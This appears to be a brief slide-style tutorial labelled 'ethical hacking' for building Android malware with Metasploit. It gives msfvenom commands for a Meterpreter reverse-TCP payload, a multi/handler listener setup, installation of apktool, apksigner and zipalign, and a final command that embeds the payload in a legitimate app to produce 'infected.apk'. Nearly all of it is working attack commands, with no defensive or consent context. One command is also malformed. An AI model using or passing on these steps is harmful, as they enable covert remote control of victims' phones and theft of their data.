Android device Ethical hacking Tutorial

Metasploit

- **Create Simple Payload**

msfvenom -p android/meterpreter/reverse_tcp LHOST=your_ip LPORT=your_port payload.apk

- use exploit/multi/handler
- set payload android/meterpreter/reverse_tcp
- set LHOST your_ip
- set LPORT your_port
- exploit

Android device Ethical hacking Tutorial

Use Advance Method

Install Apktool

- wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
- wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.9.3.jar
- chmod +x apktool
- sudo mv apktool /usr/local/bin/
- sudo mv apktool_2.9.3.jar /usr/local/bin/apktool.jar

Android device Ethical hacking Tutorial

Install Apktool

- which apktool
- ls -l /usr/bin/apktool

nano ~/.bashrc

- export PATH=$PATH:/path/to/apktool
- CTRL + X, then Y to confirm, and Enter to save

source ~/.bashrc

- apktool --version

Android device Ethical hacking Tutorial

Install apksigner

- sudo apt update
- sudo apt-get install apksigner
- which apksigner
- sudo chmod +x /usr/bin/apksigner

nano ~/.bashrc

- export PATH=$PATH:/usr/bin/apksigner
- source ~/.bashrc
- apksigner --version

Android device Ethical hacking Tutorial

Install zipalign

- apt remove zipalign
- https://debian.pkgs.org/10/debian-main-amd64/zipalign_8.1.0+r23-2_amd64.deb.html
- dpkg -i /home/user/package_name

Android device Ethical hacking Tutorial

Create Payload

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -x app.apk -k -o infected.apk